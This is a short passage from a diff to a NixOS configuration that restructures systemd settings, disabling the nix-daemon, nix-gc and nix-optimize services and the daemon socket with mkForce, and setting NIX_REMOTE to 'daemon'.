false; - nix-gc.enable = mkForce false; - nix-optimize.enable = mkForce false; - }; - sockets.nix-daemon.enable = mkForce false; - }; + + + systemd.services.nix-daemon.enable = mkForce false; + systemd.services.nix-gc.enable = mkForce false; + systemd.services.nix-optimize.enable = mkForce false; + + systemd.sockets.nix-daemon.enable = mkForce false; + environment.variables.NIX_REMOTE = "daemon"; # Setup nix flakes